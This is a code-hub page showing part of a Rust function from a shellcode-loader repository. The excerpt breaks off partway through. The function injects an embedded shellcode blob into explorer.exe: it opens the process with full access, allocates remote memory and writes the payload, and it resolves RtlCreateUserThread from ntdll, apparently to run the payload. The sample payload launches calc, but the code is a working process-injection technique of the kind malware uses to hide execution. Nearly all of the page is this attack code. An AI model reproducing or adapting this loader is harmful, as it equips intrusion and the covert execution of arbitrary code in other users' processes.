MCPcopy Create free account
hub / github.com/b1nhack/rust-shellcode / main

Function main

rtl_create_user_thread/src/main.rs:14–89  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

12
13#[cfg(target_os = "windows")]
14fn main() {
15 let shellcode = include_bytes!("../../w64-exec-calc-shellcode-func.bin");
16 let shellcode_size = shellcode.len();
17 let mut old = PAGE_READWRITE;
18
19 let mut system = System::new();
20 system.refresh_processes();
21 let pid = system
22 .processes_by_name("explorer.exe")
23 .next()
24 .expect("[-]no process!")
25 .pid()
26 .as_u32();
27
28 unsafe {
29 let ntdll = LoadLibraryA(b"ntdll.dll\0".as_ptr());
30 if ntdll == 0 {
31 panic!("[-]LoadLibraryA failed: {}!", GetLastError());
32 }
33
34 let fn_rtl_create_user_thread = GetProcAddress(ntdll, b"RtlCreateUserThread\0".as_ptr());
35
36 let rtl_create_user_thread: extern "C" fn(
37 HANDLE,
38 isize,
39 isize,
40 isize,
41 isize,
42 isize,
43 *mut c_void,
44 isize,
45 *mut HANDLE,
46 isize,
47 ) = transmute(fn_rtl_create_user_thread);
48
49 let handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
50 if handle == 0 {
51 panic!("[-]OpenProcess failed: {}!", GetLastError());
52 }
53
54 let addr = VirtualAllocEx(
55 handle,
56 null(),
57 shellcode_size,
58 MEM_COMMIT | MEM_RESERVE,
59 PAGE_READWRITE,
60 );
61 if addr.is_null() {
62 panic!("[-]VirtualAllocEx failed: {}!", GetLastError());
63 }
64
65 let res = WriteProcessMemory(
66 handle,
67 addr,
68 shellcode.as_ptr().cast(),
69 shellcode_size,
70 null_mut(),
71 );

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected